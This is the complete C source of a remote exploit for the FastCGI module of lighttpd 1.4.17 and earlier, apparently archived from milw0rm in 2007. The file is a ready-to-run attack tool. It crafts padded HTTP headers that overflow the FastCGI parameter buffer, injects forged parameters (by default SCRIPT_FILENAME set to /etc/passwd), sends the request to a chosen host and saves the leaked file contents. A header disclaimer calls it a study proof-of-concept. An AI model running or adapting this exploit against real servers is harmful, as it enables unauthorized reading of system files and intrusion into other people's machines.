541 lines
No EOL
16 KiB
C
541 lines
No EOL
16 KiB
C
/***********************************************************
|
|
* hoagie_lighttpd.c
|
|
* LIGHTTPD/FASTCGI REMOTE EXPLOIT (<= 1.4.17)
|
|
*
|
|
* Bug discovered by:
|
|
* Mattias Bengtsson <mattias@secweb.se>
|
|
* Philip Olausson <po@secweb.se>
|
|
* http://www.secweb.se/en/advisories/lighttpd-fastcgi-remote-vulnerability/
|
|
*
|
|
* FastCGI:
|
|
* http://www.fastcgi.com/devkit/doc/fcgi-spec.html
|
|
*
|
|
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
|
|
* CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
|
|
* DAMAGE DONE USING THIS PROGRAM.
|
|
*
|
|
* VOID.AT Security
|
|
* andi@void.at
|
|
* http://www.void.at
|
|
*
|
|
************************************************************/
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <netdb.h>
|
|
#include <time.h>
|
|
#include <sys/socket.h>
|
|
#include <netinet/in.h>
|
|
#include <arpa/inet.h>
|
|
|
|
/* don't change this values except you know exactly what you are doing */
|
|
#define REQUEST_SIZE_BASE 0x1530a
|
|
|
|
char FILL_CHAR[] = "void";
|
|
char RANDOM_CHAR[] = "01234567890"
|
|
"abcdefghijklmnopqrstuvwxyz"
|
|
"ABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
|
|
|
|
|
/* just default values */
|
|
#define DEFAULT_SCRIPT "/index.php" /* can be changed via -s */
|
|
#define DEFAULT_PORT "80" /* can be changed via -p */
|
|
#define DEFAULT_NAME "SCRIPT_FILENAME" /* can be changed via -n */
|
|
#define DEFAULT_VALUE "/etc/passwd" /* can be change via -a */
|
|
|
|
#define DEFAULT_SEPARATOR ','
|
|
|
|
#define BUFFER_SIZE 1024
|
|
|
|
/* header data type
|
|
* defining header name/value content and length
|
|
* if a fixed value is set use this one instead of generating content
|
|
*/
|
|
struct header_t {
|
|
int name_length;
|
|
char name_char;
|
|
int value_length;
|
|
char value_char;
|
|
char *value_value;
|
|
};
|
|
|
|
/* generate_param
|
|
* generate character array (input: comma separated list)
|
|
*/
|
|
char *generate_param(int *param_size_out,
|
|
char **name,
|
|
char **value) {
|
|
char *param = NULL;
|
|
int param_size = 0;
|
|
int param_offset = 0;
|
|
int i;
|
|
int name_length = 0;
|
|
int value_length = 0;
|
|
|
|
for (i = 0; name[i] != NULL && value[i] != NULL; i++) {
|
|
name_length = strlen(name[i]);
|
|
value_length = strlen(value[i]);
|
|
if (name_length > 127) {
|
|
param_size += 4;
|
|
} else {
|
|
param_size++;
|
|
}
|
|
if (value_length > 127) {
|
|
param_size += 4;
|
|
} else {
|
|
param_size++;
|
|
}
|
|
param_size += strlen(name[i]) + strlen(value[i]);
|
|
param = realloc(param, param_size);
|
|
if (param) {
|
|
if (strlen(name[i]) > 127) {
|
|
param[param_offset++] = (name_length >> 24) | 0x80;
|
|
param[param_offset++] = (name_length >> 16) & 0xff;
|
|
param[param_offset++] = (name_length >> 8) & 0xff;
|
|
param[param_offset++] = name_length & 0xff;
|
|
} else {
|
|
param[param_offset++] = name_length;
|
|
}
|
|
if (strlen(value[i]) > 127) {
|
|
param[param_offset++] = (value_length >> 24) | 0x80;
|
|
param[param_offset++] = (value_length >> 16) & 0xff;
|
|
param[param_offset++] = (value_length >> 8) & 0xff;
|
|
param[param_offset++] = value_length & 0xff;
|
|
} else {
|
|
param[param_offset++] = value_length;
|
|
}
|
|
memcpy(param + param_offset, name[i], name_length);
|
|
param_offset += name_length;
|
|
memcpy(param + param_offset, value[i], value_length);
|
|
param_offset += value_length;
|
|
}
|
|
}
|
|
|
|
if (param) {
|
|
*param_size_out = param_size;
|
|
}
|
|
|
|
return param;
|
|
}
|
|
|
|
/* generate_buffer
|
|
* generate header name or value buffer
|
|
*/
|
|
char *generate_buffer(int length, char c, int random_mode) {
|
|
char *buffer = (char*)malloc(length + 1);
|
|
int i;
|
|
|
|
if (buffer) {
|
|
memset(buffer, 0, length + 1);
|
|
if (random_mode) {
|
|
for (i = 0; i < length; i++) {
|
|
buffer[i] = RANDOM_CHAR[rand() % (strlen(RANDOM_CHAR))];
|
|
}
|
|
} else {
|
|
memset(buffer, c, length);
|
|
}
|
|
}
|
|
|
|
return buffer;
|
|
}
|
|
|
|
/* generate_array
|
|
* generate character array (input: comma separated list)
|
|
*/
|
|
char **generate_array(char *list, char separator, int *length) {
|
|
char **data = NULL;
|
|
int i = 0;
|
|
int start = 0;
|
|
int j = 1;
|
|
|
|
if (list) {
|
|
for (i = 0; i <= strlen(list); i++) {
|
|
if (list[i] == separator ||
|
|
i == strlen(list)) {
|
|
data = realloc(data, (j + 1) * (sizeof(char*)));
|
|
if (data) {
|
|
data[j - 1] = malloc(i - start + 1);
|
|
if (data[j - 1]) {
|
|
strncpy(data[j - 1], list + start, i - start);
|
|
data[j - 1][i - start + 1] = 0;
|
|
}
|
|
data[j] = NULL;
|
|
}
|
|
start = i + 1;
|
|
j++;
|
|
}
|
|
}
|
|
*length = j;
|
|
}
|
|
|
|
return data;
|
|
}
|
|
|
|
/* generate_request
|
|
* generate http request to trigger the overflow in fastcgi module
|
|
* and overwrite fcgi param data with post content
|
|
*/
|
|
char *generate_request(char *server, char *port,
|
|
char *script, char **names,
|
|
char **values, int *length_out,
|
|
int random_mode) {
|
|
char *param;
|
|
int param_size;
|
|
char *request;
|
|
int offset;
|
|
int length;
|
|
int i;
|
|
int fillup;
|
|
char *name;
|
|
char *value;
|
|
|
|
/* array of header data that is used to create header name and value lines
|
|
* most of this values can be changed -> only length is important and a
|
|
* few characters */
|
|
struct header_t header[] = {
|
|
{ 0x01, '0', 0x04, FILL_CHAR[0], NULL },
|
|
{ FILL_CHAR[0] - 0x5 - 0x2, 'B', FILL_CHAR[0] - 0x2, 'B', NULL },
|
|
{ 0x01, '1', 0x5450 - ( (FILL_CHAR[0] + 0x1) * 2) - 0x1 - 0x5 - 0x1 - 0x4, 'C', NULL },
|
|
{ 0x01, '2', '_' - 0x1 - 0x5 - 0x1 - 0x1, 'D', NULL },
|
|
{ 0x01, '3', 0x04, FILL_CHAR[1], NULL },
|
|
{ FILL_CHAR[1] - 0x5 - 0x2, 'F', FILL_CHAR[1] - 0x2, 'F', NULL },
|
|
{ 0x01, '4', 0x5450 - ( (FILL_CHAR[1] + 0x1) * 2) - 0x1 - 0x5 - 0x1 - 0x4, 'H', NULL },
|
|
{ 0x01, '5', '_' - 0x1 - 0x5 - 0x1 - 0x1, 'I', NULL },
|
|
{ 0x01, '6', 0x04, FILL_CHAR[2], NULL },
|
|
{ FILL_CHAR[2] - 0x5 - 0x2, 'K', FILL_CHAR[2] - 0x2, 'K', NULL },
|
|
{ 0x01, '7', 0x5450 - ( (FILL_CHAR[2] + 0x1) * 2) - 0x1 - 0x5 - 0x1 - 0x4, 'L', NULL },
|
|
{ 0x01, '8', '_' - 0x1 - 0x5 - 0x1 - 0x1, 'M', NULL },
|
|
{ 0x01, '9', 0, 0, "uvzz" },
|
|
{ FILL_CHAR[3] - 0x5 - 0x2, 'O', FILL_CHAR[3] - 0x2, 'O', NULL },
|
|
{ 0x01, 'z', 0x1cf - ((FILL_CHAR[3]- 0x1 ) * 2) -0x1 - 0x5 - 0x1 - 0x4, 'z', NULL },
|
|
{ 0x00, 0x00, 0x00, 0x00, NULL }
|
|
};
|
|
|
|
/* fill rest of post content with data */
|
|
char content_part_one[] = {
|
|
0x06, 0x80, 0x00, 0x00, 0x00, 'H', 'T', 'T', 'P', '_', 'W'
|
|
};
|
|
|
|
/* set a fake FastCGI record to mark the end of data */
|
|
char content_part_two[] = {
|
|
0x01, 0x05, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
|
};
|
|
|
|
param = generate_param(¶m_size, names, values);
|
|
if (param && param_size > 0) {
|
|
fillup = 0x54af - 0x5f - 0x1e3 - param_size - 0x1 - 0x5 - 0x1 - 0x4;
|
|
length = REQUEST_SIZE_BASE + param_size +
|
|
strlen(server) + strlen(port) +
|
|
strlen(script);
|
|
request = (char*)malloc(length);
|
|
if (request) {
|
|
memset(request, 0, length);
|
|
offset = sprintf(request,
|
|
"POST %s HTTP/1.1\r\n"
|
|
"Host: %s:%s\r\n"
|
|
"Connection: close\r\n"
|
|
"Content-Length: %d\r\n"
|
|
"Content-Type: application/x-www-form-urlencoded\r\n",
|
|
script,
|
|
server, port,
|
|
fillup + param_size + sizeof(content_part_one) +
|
|
sizeof(content_part_two) + 0x5f);
|
|
for (i = 0; header[i].name_length != 0; i++) {
|
|
name = generate_buffer(header[i].name_length,
|
|
header[i].name_char,
|
|
header[i].name_length != 1 ? random_mode : 0);
|
|
|
|
if (header[i].value_value) {
|
|
value = header[i].value_value;
|
|
} else {
|
|
value = generate_buffer(header[i].value_length,
|
|
header[i].value_char,
|
|
header[i].value_length != 4 &&
|
|
header[i].value_char != 'z' ? random_mode : 0);
|
|
}
|
|
|
|
offset += sprintf(request + offset,
|
|
"%s: %s\r\n", name, value);
|
|
if (!header[i].value_value) {
|
|
free(value);
|
|
}
|
|
free(name);
|
|
}
|
|
|
|
offset += sprintf(request + offset, "\r\n");
|
|
|
|
memcpy(request + offset, param, param_size);
|
|
offset += param_size;
|
|
|
|
content_part_one[0x03] = (fillup >> 8) & 0xff;
|
|
content_part_one[0x04] = fillup & 0xff;
|
|
for (i = 0; i < sizeof(content_part_one); i++) {
|
|
request[offset++] = content_part_one[i];
|
|
}
|
|
for (i = 0; i < fillup + 0x5f; i++) {
|
|
request[offset++] = random_mode ? RANDOM_CHAR[rand() % (strlen(RANDOM_CHAR))] : 'W';
|
|
}
|
|
for (i = 0; i < sizeof(content_part_two); i++) {
|
|
request[offset++] = content_part_two[i];
|
|
}
|
|
|
|
*length_out = offset;
|
|
}
|
|
}
|
|
|
|
return request;
|
|
}
|
|
|
|
/* usage
|
|
* display help screen
|
|
*/
|
|
void usage(int argc, char **argv) {
|
|
fprintf(stderr,
|
|
"usage: %s [-h] [-v] [-r] [-d <host>] [-s <script>] [-p <port>]\n"
|
|
" [-n <header names>] [-a <header values>] [-o <output>]\n"
|
|
"\n"
|
|
"-h help\n"
|
|
"-v verbose\n"
|
|
"-r enable random mode\n"
|
|
"-d host HTTP server\n"
|
|
"-p port HTTP port (default: %s)\n"
|
|
"-s script script url on remote server (default: %s)\n"
|
|
"-n value header names (comma seperated, default: %s)\n"
|
|
"-a value header values (comma seperated, default: %s)\n"
|
|
"-o output save result in output file\n"
|
|
"\n"
|
|
,
|
|
argv[0],
|
|
DEFAULT_PORT,
|
|
DEFAULT_SCRIPT,
|
|
DEFAULT_NAME,
|
|
DEFAULT_VALUE);
|
|
exit(1);
|
|
}
|
|
|
|
/* connect_to
|
|
* connect to remote http server
|
|
*/
|
|
int connect_to(char *host, int port) {
|
|
struct sockaddr_in s_in;
|
|
struct hostent *he;
|
|
int s;
|
|
|
|
if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
|
|
return -1;
|
|
}
|
|
|
|
memset(&s_in, 0, sizeof(s_in));
|
|
s_in.sin_family = AF_INET;
|
|
s_in.sin_port = htons(port);
|
|
|
|
if ( (he = gethostbyname(host)) != NULL)
|
|
memcpy(&s_in.sin_addr, he->h_addr, he->h_length);
|
|
else {
|
|
if ( (s_in.sin_addr.s_addr = inet_addr(host) ) < 0) {
|
|
return -3;
|
|
}
|
|
}
|
|
|
|
if (connect(s, (struct sockaddr *)&s_in, sizeof(s_in)) == -1) {
|
|
return -4;
|
|
}
|
|
|
|
return s;
|
|
}
|
|
|
|
/* parse_response
|
|
* parse response data from http server
|
|
*/
|
|
void parse_response(char *response, int response_length, char *output) {
|
|
char *p;
|
|
int http_code;
|
|
int header_mode = 1;
|
|
int size;
|
|
int bytes = 0;
|
|
FILE *fp = stdout;
|
|
|
|
p = strtok(response, "\r\n");
|
|
while (p) {
|
|
/* header mode active? */
|
|
if (header_mode) {
|
|
if (strstr(p, "HTTP/1.1 ") == p) {
|
|
sscanf(p, "HTTP/1.1 %d", &http_code);
|
|
if (http_code == 200) {
|
|
printf("[*] request successful\n");
|
|
} else {
|
|
printf("[*] request failed (error code: %d)\n", http_code);
|
|
}
|
|
} else if (strstr(p, "Server: ") == p) {
|
|
printf("[*] server version: %s\n", strstr(p, "Server: ") + 8);
|
|
/* content length for first content */
|
|
} else if (!strchr(p, ':') && http_code == 200) {
|
|
sscanf(p, "%x", &size);
|
|
header_mode = 0;
|
|
if (output) {
|
|
fp = fopen(output, "w");
|
|
}
|
|
}
|
|
} else {
|
|
if (bytes < size) {
|
|
fprintf(fp, "%s\n", p);
|
|
bytes += strlen(p) + 1;
|
|
}
|
|
}
|
|
p = strtok(NULL, "\r\n");
|
|
}
|
|
if (fp != stdout && fp != NULL) {
|
|
printf("[*] %d bytes written to %s\n", bytes, output);
|
|
fclose(fp);
|
|
}
|
|
}
|
|
|
|
/* main entry
|
|
*/
|
|
int main(int argc, char **argv) {
|
|
char *server = NULL;
|
|
char *port = DEFAULT_PORT;
|
|
char *script = DEFAULT_SCRIPT;
|
|
char **name = NULL;
|
|
int name_length = 0;
|
|
char **value = NULL;
|
|
int value_length = 0;
|
|
char *request = NULL;
|
|
int request_length = 0;
|
|
int i;
|
|
int random_mode = 0;
|
|
int verbose = 0;
|
|
int s;
|
|
char c;
|
|
fd_set fs;
|
|
int bytes;
|
|
char buffer[BUFFER_SIZE];
|
|
char *response = NULL;
|
|
int response_length = 0;
|
|
char *output = NULL;
|
|
|
|
fprintf(stderr,
|
|
"hoagie_lighttpd.c - lighttpd(fastcgi) <= 1.4.17 remote\n"
|
|
"-andi / void.at\n\n");
|
|
|
|
if (argc < 2) {
|
|
usage(argc, argv);
|
|
} else {
|
|
while ((c = getopt (argc, argv, "hvrd:p:s:u:n:a:o:")) != EOF) {
|
|
switch (c) {
|
|
case 'h':
|
|
usage(argc, argv);
|
|
break;
|
|
case 'd':
|
|
server = optarg;
|
|
break;
|
|
case 'p':
|
|
port = optarg;
|
|
break;
|
|
case 's':
|
|
script = optarg;
|
|
break;
|
|
case 'n':
|
|
name = generate_array(optarg, DEFAULT_SEPARATOR, &name_length);
|
|
break;
|
|
case 'a':
|
|
value = generate_array(optarg, DEFAULT_SEPARATOR, &value_length);
|
|
break;
|
|
case 'r':
|
|
random_mode = 1;
|
|
srand(time(NULL));
|
|
break;
|
|
case 'v':
|
|
verbose = 1;
|
|
break;
|
|
case 'o':
|
|
output = optarg;
|
|
break;
|
|
default:
|
|
fprintf(stderr, "[*] unknown command line option '%c'\n", c);
|
|
exit(-1);
|
|
}
|
|
}
|
|
|
|
if (!name) {
|
|
name = generate_array(DEFAULT_NAME, DEFAULT_SEPARATOR, &name_length);
|
|
}
|
|
|
|
if (!value) {
|
|
value = generate_array(DEFAULT_VALUE, DEFAULT_SEPARATOR, &value_length);
|
|
}
|
|
|
|
|
|
if (name_length != value_length) {
|
|
fprintf(stderr,
|
|
"[*] check -n and -n parameter (argument list doesnt match)\n");
|
|
} else if (!server) {
|
|
fprintf(stderr, "[*] server is missing\n");
|
|
} else {
|
|
if (random_mode) {
|
|
for (i = 0; i < 4; i++) {
|
|
FILL_CHAR[i] = RANDOM_CHAR[rand() % (strlen(RANDOM_CHAR))];
|
|
}
|
|
}
|
|
printf("[*] creating request (filler: %c/%c/%c/%c, random: %s)\n",
|
|
FILL_CHAR[0], FILL_CHAR[1], FILL_CHAR[2], FILL_CHAR[3],
|
|
random_mode ? "on": "off");
|
|
for (i = 0; name[i]; i++) {
|
|
printf("[*] set header [%s]=>[%s]\n", name[i], value[i]);
|
|
}
|
|
request = generate_request(server, port, script, name, value,
|
|
&request_length, random_mode);
|
|
if (verbose) {
|
|
printf("[*] sending [");
|
|
write(1, request, request_length);
|
|
printf("]\n");
|
|
}
|
|
if (request) {
|
|
printf("[*] connecting to %s:%s ...\n", server, port);
|
|
s = connect_to(server, atoi(port));
|
|
if (s > 0) {
|
|
FD_ZERO(&fs);
|
|
FD_SET(s, &fs);
|
|
printf("[*] request url %s\n", script);
|
|
write(s, request, request_length);
|
|
do {
|
|
select(s + 1, &fs, NULL, NULL, NULL);
|
|
bytes = read(s, buffer, sizeof(buffer));
|
|
if (bytes > 0) {
|
|
response_length += bytes;
|
|
response = realloc(response, response_length + 1);
|
|
if (response) {
|
|
memcpy(response + response_length - bytes,
|
|
buffer,
|
|
bytes);
|
|
}
|
|
}
|
|
} while (bytes > 0);
|
|
close(s);
|
|
response[response_length] = 0;
|
|
parse_response(response, response_length, output);
|
|
} else {
|
|
fprintf(stderr, "[*] connect failed\n");
|
|
}
|
|
free(request);
|
|
} else {
|
|
fprintf(stderr, "[*] can't allocate memory for request\n");
|
|
}
|
|
}
|
|
|
|
for (i = 0; name[i]; i++) {
|
|
free(name[i]);
|
|
}
|
|
free(name);
|
|
for (i = 0; value[i]; i++) {
|
|
free(value[i]);
|
|
}
|
|
free(value);
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
// milw0rm.com [2007-09-20]
|